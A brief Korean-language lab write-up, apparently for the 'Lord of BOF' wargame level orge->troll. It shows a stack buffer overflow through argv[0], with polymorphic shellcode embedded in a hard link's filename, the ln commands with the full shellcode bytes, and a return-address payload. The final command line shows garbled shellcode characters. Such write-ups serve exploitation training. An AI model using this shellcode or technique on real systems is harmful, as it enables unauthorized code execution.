lob orge->troll
1. argv[1],argv[2]가 막혀있으므로 argv[0]으로 공격.
링크를 이용한 공격시 \x2f('/')가 들어가면 원래 존재하는 디렉터리가 아닌 이상 링크를 안시킨다고
함. 그러므로 쉘코드에 \x2f는 사용금지, 그래서 다형성 쉘코드(쉘코드 변형된거)를 사용한다고함.
2. gcc -o trol1 trol1.c
ln trol1 troll123`python -c 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
과 같이 dumpcode를 넣은 trol1을 troll123쉘코드 로 링크 시킨 후 troll123을 실행시켜 argv[0]의 뒷부분의 주소를 알아냄. argv[0]의 뒷부분 주소는 빨간부분.. argv[0]의 주소는 필요 없고, 그 뒷부분에 우리가 쉘코드를 삽입했기 때문에 뒷부분, 즉 쉘코드가 시작되는 \xeb부분의 주소를 알아내야됨!
0xbffffbbf 이다. (./troll123이라는 문자열이 끝난후)
3. 저기로 공격시도.
ln troll troll124`python -c 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
공격해야하는 troll을 troll124쉘코드 로 링크 건 후,
./troll125?Q^12l^N^A?Au楕^E凹2핽i00tii0cjo듾QT듼슧^L? `python -c 'print "a"*44+"\xbf\xfb\xff\xbf"'`
과 같이 실행하여 인자로 0xbffffbbf를 넘겨주면 통과